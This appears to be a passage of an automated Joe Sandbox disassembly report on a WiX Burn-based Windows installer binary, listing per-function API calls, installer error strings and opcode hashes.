String ID: Failed to allocate regid file path.$Failed to allocate regid folder path.$Failed to create regid folder: %ls$Failed to format tag folder path.$Failed to write tag xml to file: %ls$swidtag
API String ID: 904508749-1201533908
Opcode ID: b2b52d55f73d9d44b800c53e558efc142365a8cc96e6bb1df36947949d334075
Instruction ID: cc6e5be1c0e67719b0a95f3cddcb9152a61ce2ea754527fe1f8dda73f263fc98
Opcode Fuzzy Hash: b2b52d55f73d9d44b800c53e558efc142365a8cc96e6bb1df36947949d334075
Instruction Fuzzy Hash: 8E316C32D00219FBCF12AFD4CC51BADBBB5AF45710F148165F910BA261D7719E50ABD0

Function 009B53E2 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 91synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0002BF20,?,F0000003,00000000,00000000,?,00000000,00000000,00000000,009A548E,00000000,00000000,?,00000000), ref: 009B548B
GetLastError.KERNEL32(?,?,?,009A4C61,?,?,00000000,?,?,?,?,?,?,009EB4A0,?,?), ref: 009B5496

Strings

Failed to post terminate message to child process., xrefs: 009B5476
Failed to wait for child process exit., xrefs: 009B54C4
Failed to post terminate message to child process cache thread., xrefs: 009B545A
pipe.cpp, xrefs: 009B54BA
Failed to write exit code to message buffer., xrefs: 009B5406
Failed to write restart to message buffer., xrefs: 009B542E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: Failed to post terminate message to child process cache thread.$Failed to post terminate message to child process.$Failed to wait for child process exit.$Failed to write exit code to message buffer.$Failed to write restart to message buffer.$pipe.cpp
API String ID: 1211598281-2161881128
Opcode ID: dc5a6b7d6ec3afeb392bf117abd031900cb8c3b2aac8fbd851a26cda2166cc29
Instruction ID: e57f0296c901a6bb717f323fed547ea842bf5544459ff47765d22352502fe148
Opcode Fuzzy Hash: dc5a6b7d6ec3afeb392bf117abd031900cb8c3b2aac8fbd851a26cda2166cc29
Instruction Fuzzy Hash: 7A210A33940A2EBBDF225B94DD05FEE776AAF40735F124251FA10B61A0D734AD9097D0

Function 009B9098 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 89fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000005,00000000,00000003,08000000,00000000,00000000,00000101,?,009B9F04,00000003,000007D0,00000003,?,000007D0), ref: 009B90B2
GetLastError.KERNEL32(?,009B9F04,00000003,000007D0,00000003,?,000007D0,00000000,000007D0,00000000,00000003,00000000,00000003,000007D0,00000001,?), ref: 009B90BF
CloseHandle.KERNEL32(00000000,?,009B9F04,00000003,000007D0,00000003,?,000007D0,00000000,000007D0,00000000,00000003,00000000,00000003,000007D0,00000001), ref: 009B9187

Strings

Failed to verify catalog signature of payload: %ls, xrefs: 009B914E
Failed to verify signature of payload: %ls, xrefs: 009B912F
Failed to open payload at path: %ls, xrefs: 009B9103
Failed to verify hash of payload: %ls, xrefs: 009B9172
cache.cpp, xrefs: 009B90F6

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: Failed to open payload at path: %ls$Failed to verify catalog signature of payload: %ls$Failed to verify hash of payload: %ls$Failed to verify signature of payload: %ls$cache.cpp
API String ID: 2528220319-2757871984
Opcode ID: a79470721d28b16353b03405a0403250e877263c6130c8adfb1798d70f783fef
Instruction ID: d266ffe8f70c644e5bcd8f3a3d70e47073549503fd0164dc5ffa9b66690ba799
Opcode Fuzzy Hash: a79470721d28b16353b03405a0403250e877263c6130c8adfb1798d70f783fef
Instruction Fuzzy Hash: D621E73255863BB7CB321A5C8D8DFEA7A1DAF81770F104211FF14661A093359C61FAE1

Function 009A6B1E Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 009A6B69
GetLastError.KERNEL32 ref: 009A6B73
GetVolumePathNameW.KERNEL32(?,?,00000104), ref: 009A6BB7
GetLastError.KERNEL32 ref: 009A6BC1

Strings

Failed to get windows directory., xrefs: 009A6BA1
Failed to set variant value., xrefs: 009A6C0B
Failed to get volume path name., xrefs: 009A6BEF
variable.cpp, xrefs: 009A6B97, 009A6BE5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$DirectoryNamePathVolumeWindows
String ID: Failed to get volume path name.$Failed to get windows directory.$Failed to set variant value.$variable.cpp
API String ID: 124030351-4026719079
Opcode ID: d34a18421a4631a5d0c3de42492e3cb433d587f1faa9856196c3200376f17801
Instruction ID: 72c87a5f86cc82d1205267bd1b642969cb8e6ac41eba8af70a15da24d9bfb7d1
Opcode Fuzzy Hash: d34a18421a4631a5d0c3de42492e3cb433d587f1faa9856196c3200376f17801
Instruction Fuzzy Hash: 31214B73E4523C67D73097958C06F9F73ACAB81B20F110165BE44FB241EA34AE4086F5

Function 009A9C6D Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 82COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9C88
GetFileAttributesW.KERNEL32(00000000,000002C0,?,00000000,00000000,000002C0,00000100,00000000,000002C0,?,009AA895,00000100,000002C0,000002C0,?,000002C0), ref: 009A9CA0
GetLastError.KERNEL32(?,009AA895,00000100,000002C0,000002C0,?,000002C0,00000100,000002C0,000002C0,00000100), ref: 009A9CAB

Strings

Failed to format variable string., xrefs: 009A9C93
search.cpp, xrefs: 009A9CDB
Failed get to file attributes. '%ls', xrefs: 009A9CE8
Failed to set variable., xrefs: 009A9D2B
File search: %ls, did not find path: %ls, xrefs: 009A9CFD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Failed get to file attributes. '%ls'$Failed to format variable string.$Failed to set variable.$File search: %ls, did not find path: %ls$search.cpp
API String ID: 1811509786-2053429945
Opcode ID: 7e7063e789f3019088a7c2f1f7965f4b8a01b36052c8d819484001e1619532cb
Instruction ID: 1f965bc7e95749c695096f6ba775a202942a91f4812c6880e1a19af8bd814b24
Opcode Fuzzy Hash: 7e7063e789f3019088a7c2f1f7965f4b8a01b36052c8d819484001e1619532cb
Instruction Fuzzy Hash: E0218B33940634BBDB2216958C42FAEB668FF53775F210211FE187A1D0D7616D90D2D1

Function 009BAD40 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,?), ref: 009BAD57
GetLastError.KERNEL32 ref: 009BAD61
CoInitializeEx.OLE32(00000000,00000000), ref: 009BADA0
CoUninitialize.OLE32(?,009BC721,?,?), ref: 009BADDD

Strings

Failed to initialize COM., xrefs: 009BADAC
elevation.cpp, xrefs: 009BAD85
Failed to pump messages in child process., xrefs: 009BADCB
Failed to set elevated cache pipe into thread local storage for logging., xrefs: 009BAD8F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorInitializeLastUninitializeValue
String ID: Failed to initialize COM.$Failed to pump messages in child process.$Failed to set elevated cache pipe into thread local storage for logging.$elevation.cpp
API String ID: 876858697-113251691
Opcode ID: cb8f11af82676605ce2dea4773f555db462eecab71267800043124317fce61f4
Instruction ID: 8ec64da14d03eb0329f0ac2023b97602defc9b4e62ff420792791b0bdff1eab9
Opcode Fuzzy Hash: cb8f11af82676605ce2dea4773f555db462eecab71267800043124317fce61f4
Instruction Fuzzy Hash: 0B115973916639BB8B221785CD4AADFBE68EFC5B727010116FE00BB290DB70AC0097D1

Function 009A5CE2 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,?,00000000,CommonFilesDir,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,00020119,00000000), ref: 009A5D68

Part of subcall function 009E10B5: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009E112B
Part of subcall function 009E10B5: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 009E1163

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion, xrefs: 009A5D05
Failed to read folder path for '%ls'., xrefs: 009A5D34
+, xrefs: 009A5CEA
ProgramFilesDir, xrefs: 009A5CF7
Failed to open Windows folder key., xrefs: 009A5D1A
Failed to ensure path was backslash terminated., xrefs: 009A5D52
CommonFilesDir, xrefs: 009A5CF0, 009A5D24, 009A5D33

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue$Close
String ID: +$CommonFilesDir$Failed to ensure path was backslash terminated.$Failed to open Windows folder key.$Failed to read folder path for '%ls'.$ProgramFilesDir$SOFTWARE\Microsoft\Windows\CurrentVersion
API String ID: 1979452859-3209209246
Opcode ID: bf15ef613406bf77d50ff71b88c750c881c2bc853021845bf7a9925bfb561645
Instruction ID: 5c1420b39853e08047adcfc0c4f5d32ff851aa70e3449222635f10119a247ca5
Opcode Fuzzy Hash: bf15ef613406bf77d50ff71b88c750c881c2bc853021845bf7a9925bfb561645
Instruction Fuzzy Hash: 29012832B456A9F7CF235656DC0AF9E77A8CFC2720F164265F9007A261D7718E40D6D0

Function 009CA271 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 174COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,?,?,00000000,00000000), ref: 009CA33E
GetLastError.KERNEL32(?,?,?,?,00000000,00000000), ref: 009CA348

Strings

download, xrefs: 009CA308
Failed to clear readonly bit on payload destination path: %ls, xrefs: 009CA377
apply.cpp, xrefs: 009CA36C
Failed attempt to download URL: '%ls' to: '%ls', xrefs: 009CA425
:, xrefs: 009CA3C1

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: :$Failed attempt to download URL: '%ls' to: '%ls'$Failed to clear readonly bit on payload destination path: %ls$apply.cpp$download
API String ID: 1799206407-1905830404
Opcode ID: 5290c9201bea18307c92d37b9583ad11be4a847eabe47d56047c7de630306d20
Instruction ID: 50f18444d5e88ccb50ddc22d0a03ae4a1d87ac322176d751c7ca2cd8cf8eca8b
Opcode Fuzzy Hash: 5290c9201bea18307c92d37b9583ad11be4a847eabe47d56047c7de630306d20
Instruction Fuzzy Hash: 46518C71E00619ABDB21DFA9C891FAEB7B8FF54714F108059E914EB250E375EE40CB92

Function 009E84C7 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 156COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,http://appsyndication.org/2006/appsyn,000000FF,00000010,00000001,00000000,00000000,00000410,?,?,009C9063,000002C0,00000100), ref: 009E84F5
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,application,000000FF,?,?,009C9063,000002C0,00000100,000002C0,000002C0,00000100,000002C0,00000410), ref: 009E8510

Strings

type, xrefs: 009E8537
http://appsyndication.org/2006/appsyn, xrefs: 009E84E8
apuputil.cpp, xrefs: 009E85AB
application, xrefs: 009E8502

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareHeapString$AllocateProcess
String ID: application$apuputil.cpp$http://appsyndication.org/2006/appsyn$type
API String ID: 2664528157-4206478990
Opcode ID: 3873e05b77ecd0908faa971ac7ce2b7fcc8bcf274ba8f7f8b4a2163f077c7980
Instruction ID: 0564f735b07f1437763bcc792ebfba07c4caffa18ab1594e79af09b6b0db68f8
Opcode Fuzzy Hash: 3873e05b77ecd0908faa971ac7ce2b7fcc8bcf274ba8f7f8b4a2163f077c7980
Instruction Fuzzy Hash: F451D471644345BFDB229F96CC81F1B7BA9AB40B20F208558F929AB2E1DF71ED409B50

Function 009E64B7 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 009E6513
DeleteFileW.KERNEL32(00000410,00000000,00000000,?,?,00000078,000000FF,00000410,?,?,?,00000078,000000FF,?,?,00000078), ref: 009E660A
CloseHandle.KERNEL32(000000FF,00000000,00000000,?,?,00000078,000000FF,00000410,?,?,?,00000078,000000FF,?,?,00000078), ref: 009E6619

Strings

Burn, xrefs: 009E6502
dlutil.cpp, xrefs: 009E6537
WiX\Burn, xrefs: 009E6551
DownloadTimeout, xrefs: 009E654C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseDeleteErrorFileHandleLast
String ID: Burn$DownloadTimeout$WiX\Burn$dlutil.cpp
API String ID: 3522763407-1704223933
Opcode ID: 797141222761e55ef326e39d34f2bfea23b66bf08f00b9f366484c21aae0115c
Instruction ID: 06fdd35a7acf46df8e58e6a09f79e1bfd671cce4e1d964e8554aa82185227012
Opcode Fuzzy Hash: 797141222761e55ef326e39d34f2bfea23b66bf08f00b9f366484c21aae0115c
Instruction Fuzzy Hash: 25514772D00259BBDF12DFA5CC45EAEBBBDEB48B50F014165FA14E6190EB318E11DBA0

Function 009A9EC7 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 147COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9EED
_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9F12

Strings

Failed to format product code string., xrefs: 009A9F1D
MsiComponentSearch failed: ID '%ls', HRESULT 0x%x, xrefs: 009AA006
Failed to set variable., xrefs: 009A9FF6
Failed to get component path: %d, xrefs: 009A9F76
Failed to format component id string., xrefs: 009A9EF8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open@16
String ID: Failed to format component id string.$Failed to format product code string.$Failed to get component path: %d$Failed to set variable.$MsiComponentSearch failed: ID '%ls', HRESULT 0x%x
API String ID: 3613110473-1671347822
Opcode ID: e69bacd35687ae334e50f0042481aad216d265bb38b2596494a0b7756f2c2e69
Instruction ID: b4df262d523f577c4373ee710191ca73e204a0ee511c9d982351917cc2922c18
Opcode Fuzzy Hash: e69bacd35687ae334e50f0042481aad216d265bb38b2596494a0b7756f2c2e69
Instruction Fuzzy Hash: 5F41E232900115BECF26AAA98C46FBEB76CFF87310F244616F515E2191E7319E50D7D2

Function 009AF812 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 117registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,?,00000001,00000000,?,00000000,?,?,?,00000000,?), ref: 009AF942
RegCloseKey.ADVAPI32(00000000,?,?,00000001,?,?,?,00000001,00000000,?,00000000,?,?,?,00000000,?), ref: 009AF94F

Strings

%ls.RebootRequired, xrefs: 009AF82F
Failed to open registration key., xrefs: 009AF8AB
Resume, xrefs: 009AF8B6
Failed to format pending restart registry key to read., xrefs: 009AF846
Failed to read Resume value., xrefs: 009AF8D8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close
String ID: %ls.RebootRequired$Failed to format pending restart registry key to read.$Failed to open registration key.$Failed to read Resume value.$Resume
API String ID: 3535843008-3890505273
Opcode ID: 084f4de9b868e0fb09eb8c34b183847de2ed00172982504b60e5a06a7c51d10f
Instruction ID: 06785d16bb569554baa6f09ce4278fae4fb93412b324266ada71e3cc1686d932
Opcode Fuzzy Hash: 084f4de9b868e0fb09eb8c34b183847de2ed00172982504b60e5a06a7c51d10f
Instruction Fuzzy Hash: DF414D71900159FFCB229FD8C891BAEBBB8EB86310F16417AE915AB210C3759E419BC0

Function 009BAA00 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

Failed to determine length of relative path., xrefs: 009BAA4D
Failed to determine length of source path., xrefs: 009BAA30
WixBundleLastUsedSource, xrefs: 009BAA9F, 009BAAA5, 009BAAE1
Failed to set last source., xrefs: 009BAAF0
Failed to trim source folder., xrefs: 009BAA95

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID: Failed to determine length of relative path.$Failed to determine length of source path.$Failed to set last source.$Failed to trim source folder.$WixBundleLastUsedSource
API String ID: 0-660234312
Opcode ID: 146d6170e83ba89325b2f99f1e1585051b720c7482133017d71a2b09c9d991dc
Instruction ID: e5c02f2c0a0d837bd0fcd9243a20ba2bf152b6b0f33e98e850af33553547643e
Opcode Fuzzy Hash: 146d6170e83ba89325b2f99f1e1585051b720c7482133017d71a2b09c9d991dc
Instruction Fuzzy Hash: 7331B83290426DBBCF229A94CD45FEEBBBADB41730F214251F920F6191DB719D40D7A1

Function 009CD8B0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 106comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00A00C4C,00000000,00000017,00A00C5C,?,?,00000000,00000000,?,?,?,?,?,009CDEE7,00000000,00000000), ref: 009CD8E8

Strings

Failed to set progress timeout., xrefs: 009CD952
WixBurn, xrefs: 009CD913
Failed to set notification flags for BITS job., xrefs: 009CD93A
Failed to set BITS job to foreground., xrefs: 009CD969
Failed to create IBackgroundCopyManager., xrefs: 009CD8F4
Failed to create BITS job., xrefs: 009CD922

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateInstance
String ID: Failed to create BITS job.$Failed to create IBackgroundCopyManager.$Failed to set BITS job to foreground.$Failed to set notification flags for BITS job.$Failed to set progress timeout.$WixBurn
API String ID: 542301482-468763447
Opcode ID: 6868a0bc7a8a10d02e2a4395b17db8a135c59c29fc3e26b9f0f8f02099eaf430
Instruction ID: af2e942ba3616ee7f84a25f4d7a0e8ee4af1fc4734f53b651c083fd26adb31ea
Opcode Fuzzy Hash: 6868a0bc7a8a10d02e2a4395b17db8a135c59c29fc3e26b9f0f8f02099eaf430
Instruction Fuzzy Hash: 40318435F42319AFDB15DBA9D855F6FBBB4AF48710B00056DEA05EB390DA309C058B92

Function 009E5DAE Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000004,00000000,00000004,00000080,00000000,00000000,?,?,?,?,?,WiX\Burn,DownloadTimeout,00000078), ref: 009E5DF8
GetLastError.KERNEL32 ref: 009E5E05
ReadFile.KERNEL32(00000000,00000008,00000008,?,00000000), ref: 009E5E4C
GetLastError.KERNEL32 ref: 009E5E80
CloseHandle.KERNEL32(00000000,dlutil.cpp,000000C8,00000000), ref: 009E5EB4

Strings

dlutil.cpp, xrefs: 009E5E29, 009E5EA4
%ls.R, xrefs: 009E5DCC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleRead
String ID: %ls.R$dlutil.cpp
API String ID: 3160720760-657863730
Opcode ID: 77732c2bd769c4afd73be104723e19fb95cde8ed059a2e5b6170337f4155d861
Instruction ID: b1e754908749690ddf338957b63ae1bc49d78b95023556c3f77dcca184e38dc5
Opcode Fuzzy Hash: 77732c2bd769c4afd73be104723e19fb95cde8ed059a2e5b6170337f4155d861
Instruction Fuzzy Hash: E631F372A01664BBDB318B968C85B6E7AA8AB41735F124259FE11EB2C0D7709E0086E0

Function 009AC8E6 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009ACD5E: CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,009AE444,000000FF,00000000,00000000,009AE444,?,?,009ADBEB,?,?,?,?), ref: 009ACD89

CreateFileW.KERNEL32(E9009EBA,80000000,00000005,00000000,00000003,08000000,00000000,009A53C5,?,00000000,840F01E8,14680A79,00000001,009A53BD,00000000,009A5489), ref: 009AC956
GetLastError.KERNEL32(?,?,?,009B7809,009A566D,009A5479,009A5479,00000000,?,009A5489,FFF9E89D,009A5489,009A54BD,009A5445,?,009A5445), ref: 009AC99B

Strings

Failed to verify catalog signature: %ls, xrefs: 009AC994
Failed to open catalog in working path: %ls, xrefs: 009AC9C9
Failed to get catalog local file path, xrefs: 009AC9D9
catalog.cpp, xrefs: 009AC9BC
Failed to find payload for catalog file., xrefs: 009AC9E0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareCreateErrorFileLastString
